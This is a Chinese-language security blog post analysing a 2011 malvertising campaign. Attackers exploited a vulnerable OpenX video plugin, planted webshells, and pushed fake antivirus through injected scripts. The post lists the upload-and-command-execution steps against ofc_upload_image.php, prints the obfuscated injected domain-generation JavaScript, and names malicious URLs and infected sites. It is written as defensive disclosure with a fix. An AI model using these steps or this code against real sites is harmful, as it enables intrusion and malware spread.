阿碼外傳-阿碼科技非官方中文 Blog: 2011年7月27日

2011年7月27日

OpenX.org上的插件具有漏洞,導致 dyndns 團隊侵入網站並且透過惡意廣告的手法散佈偽冒的防毒軟體:Personal Shield Pro

(作者: Wayne Huang, Chris Hsiao, Sun Huang, NightCola Lin, Fyodor Yarochkin)
目錄:
[1. 摘要]
[2. 感染過程]
[3. OpenX的漏洞]
[4. 攻擊方式]
[5. 如何修補網站]
[6. Exploit Pack]
[7. 變動的惡意網域]
[8. 亂數產生的PHP檔名?]
[9. "dyndns" 團隊]
[10. 被感染的網站列表]

[1. 摘要]

影響: 瀏覽者瀏覽了受感染的網站將導致電腦被裝上 "Personal Shield Pro" 這套"偽"防毒軟體。
起因:OpenX官方網站上提供了具有漏洞的插件。
Exploit pack: 本次事件中所使用的是 g01pack exploit pack。
攻擊團隊: 在內部我們稱之為 "dyndns" 團隊,此團隊也涉及我們在五月多針對Clicksor事件的報導,在更早之前也與其他類型的網頁惡意程式事件有關。
被感染的網站列表:
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
fastodds.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de

[2. 感染過程]

從2009年開始,GMO與阿碼科技便在日本部署了網頁掛馬監控服務平臺,而我們也一直致力於研究網頁惡意程式的威脅。

從今年五月開始,我們就鎖定了一個團隊:"dyndns"。在五月中旬時,我們報導了一篇:超過一半以上的惡意廣告來自Clicksor,該事件也與此團體有關。

而在該篇報導不久之後,此團體即開始攻擊有使用 OpenX 來提供廣告功能的網站。瀏覽者一旦瀏覽了被感染的網站,電腦就會被安裝上偽裝的防毒軟體 (普遍稱之為流氓軟體)。此軟體會取消系統絕大部份的功能,並且透過此現象來讓瀏覽者認為自己的電腦真的中毒。之後此軟體會告訴瀏覽者,解決的方法就是去購買這一套 "流氓軟體",在購買之後,瀏覽者便等同於將自己的信用卡卡號洩露出去。

以下是一部當瀏覽者瀏覽了此類型網站時所產生的結果 (此網站位於日本,為實際上被感染的網站):


[3. OpenX的漏洞]

所有被感染的網站都有一個共通的特性:都安裝了OpenX來提供廣告,其中有些使用的還是最新的版本-2.8.7。此事件中被感染的OpenX檔案大部份是ajs.php,下面為一個完整的URL範例:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/
為什麼即使安裝了最新版的OpenX 還是會被入侵呢?為了解開這個原因,我們再進一步的追蹤下去。如同你們所見,在被感染的網站(bancadellecase.it)中,有一隻webshell:

http://bancadellecase.it/admin/banner/www/admin/plugins/videoReport/lib/tmp-upload-images/image.php

Webshell是一個後門程式,允許攻擊者完全掌控被入侵的網站。

往Webshell存在路徑的上一層走去,我們可以看到有許許多多的檔案,每一個檔案就代表著每次使用者嘗試上傳的記錄:


第一個成功的上傳我們可以發現到是在六月26日,而從圖中我們可以發現一個明顯的情況:在攻擊者成功上傳了webshell後,他便隨即將目錄的存取權限限制起來,此行為導致之後的上傳行為都失效。

經過我們分析,WebShell應該是透過 OpenX 的一個 Video Plugin 的漏洞上傳的 ( OpenX 網站上面的連結 )
此壓縮檔包含了OpenX Video Plugin版本1.1,此版本包含了Open Flash Chart,該套件自從2009年後就沒有被更新,並且存在一個已知的漏洞 (未限制上傳檔案內容,CVE-2009-4140)

如下圖所示,在下載並且安裝從 Openx 上的這個插件後,可以看到此套件的版本為1.1:

1.1版本已經屬於舊的版本,目前該Video插件最新版的是1.8.7,如下所示:

[4. 攻擊方式]

1. 攻擊者首先測試 ofc_upload_image.php 檔案是否存在:
http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php

2. 如果存在,攻擊者則透過下面的要求建立一個簡單的webshell:
http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=

3. 攻擊者接下來確認shell是否有被成功的上傳:

4. 一旦上傳成功,攻擊者則可以透過以下URL執行任何系統指令:
http://victim.com/www/admin/plugins/videoReport/lib/tmp-upload-images/shell.php?cmd=ipconfig

5. 使用上傳好的shell來將惡意的javascript插入 OpenX 的php檔案。以本次事件來舉例:

http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/

[5. 如何修補網站]

網站管理者需要點選 OpenX 管理介面的 "插件" 分頁去確認他們所使用的 openXVideoAds 版本 (如上一節所示)。只要是版本比1.8.7還舊的,可以透過以下簡單的步驟修正這個漏洞:

1. 進入 ofc2 目錄,一般常見路徑如下:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2

2. 在該目錄下,找到 ofc_upload_image.php 檔案之後清空此檔案的內容:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php

此即 1.8.7 修正此漏洞的方式。

[6. Exploit Pack]

本次事件觀察到的Exploit Pack為 g01pack exploit pack:

[7. 變動的惡意網域]

接下來我們來看看在這波攻擊中,攻擊者所使用的網域:

blogtxcl.dyndns-blog.com
blogtvaj.dyndns-blog.com
blogkmra.dyndns-blog.com
blogrsxg.dyndns-blog.com
blogopud.dyndns-blog.com
bloghinw.dyndns-blog.com
blogcdir.dyndns-blog.com
blogwwbk.dyndns-blog.com
blogrrwf.dyndns-blog.com
blogootc.dyndns-blog.com

以及:

officekhmv.dyndns-office.com
officetnsb.dyndns-office.com
officetlqz.dyndns-office.com
officevfkt.dyndns-office.com
officeluzi.dyndns-office.com
officeeinw.dyndns-office.com
officejmra.dyndns-office.com
officeklqz.dyndns-office.com
officecdir.dyndns-office.com
officexcgp.dyndns-office.com
officeccgp.dyndns-office.com

顯然,這些網域有著相同的格式:_X_random.dyndns-X.com。在第一個例子中,X=blog,而在第二個例子中,X=office。事實上,這就是變動網域如何產生的方式。讓我們來看看在OpenX 的 ajs.php 中插入的惡意程式碼片段:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/
以下為插入的一部份程式碼:
function T(harlots, ralphed) {

  soberer = harlots;

  var r = String("abcdefghi5zI9".substr(0, 9) + "jklmnopqrA2B".substr(0, 9) + "stuvwxyz");
  var limpsey = new String("charARvGp".substr(0, 5) + "t");
  var doglegs = "length";
  footies = new Date();
  var leisure = Math.floor(footies.getUTCHours());
  var wyverns = footies.getUTCDate();
  var dusters = footies.getUTCMonth();
  var evinces = footies.getUTCFullYear();
  var anchors = (leisure % r[doglegs]);
  var a = (leisure + wyverns) % r[doglegs];
  var romanos = (leisure + wyverns + dusters) % r[doglegs];
  var sorcery = (leisure + wyverns + dusters + evinces) % r[doglegs];
  soberer += r[limpsey](anchors);
  soberer += r[limpsey](a);
  soberer += r[limpsey](romanos);
  soberer += r[limpsey](sorcery);
  return soberer + ralphed;
}
而這邊說明了 "T" 這個函式是如何被呼叫的:
var soberer = T(new String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)), new String(\".dyndns-\"+\"blog.com\"));
String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)) 可以解為:
"blog"
而 String(\".dyndns-\"+\"blog.com\") 可以解為:
"dyndns-blog.com"

透過上述的演算法產生了變動的惡意網域 (_X_random.dyndns-X.com)。此演算法會隨著不同的年、月、日、時,產生不同的惡意網域。

[8. 亂數產生的PHP檔名?]

目前我們已經了解了惡意程式碼所產生的網域名部份,現在讓我們來看看透過它產生出來的整個URL。舉例如下:
http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=131263&topic_id=de_at&
讓我們來看看檔名部份:aeea8469e09d31020332ac926f183eaa.php。看起來是亂數產生的,是嗎? 其實並不是,如果透過Google搜尋它,可以看到我們之前的報告:超過一半以上的惡意廣告來自Clicksor。(該篇文章中所提到的惡意網頁目前已失效,僅剩結果可供參考)

所以看似亂數的 "aeea8469e09d31020332ac926f183eaa.php" 在過去確實出現過

此外,在我們與GMO-HS 合作的惡意程式研究中心中,此檔案 "aeea8469e09d31020332ac926f183eaa.php" 在最近也出現多次,部份與此次事件有關,部份則是屬於其他事件。一個有趣的狀況是:儘管網域名稱是會變動的,但是檔名的部份卻是固定的,只是讓人看起來以為是亂數產生。
舉例:
http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=131263&topic_id=de_at&
http://set.gambulingwebsites.com/news/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=5090485&topic_id=1994&
http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=3336736&forum_id=1992&
http://vvvvvv.dyndns-mail.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=3271149&forum_id=1997&
http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=2336475&forum_id=1992&
http://blog.equine-webdesign.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=2328756&forum_id=2010&
http://grand.atlantahomevaluesnow.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=56082781&forum_id=1992&
http://payments.cavatars.mobi/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=55210399&forum_id=1991&

[9. "dyndns" 團隊]

因此,這些看似亂數的檔名 "aeea8469e09d31020332ac926f183eaa.php" 並不是真的亂數產生,實際上,這是一個普遍被"dyndns"團隊拿來使用的檔名,而且也在我們五月份的報告(超過一半以上的惡意廣告來自Clicksor)中出現,除此之外,在其他事件中也有看到此種檔名的蹤跡。

[10. 被感染的網站列表]
以下為在此次事件中受影響的網站:

theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
fastodds.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de



繼續閱讀全文...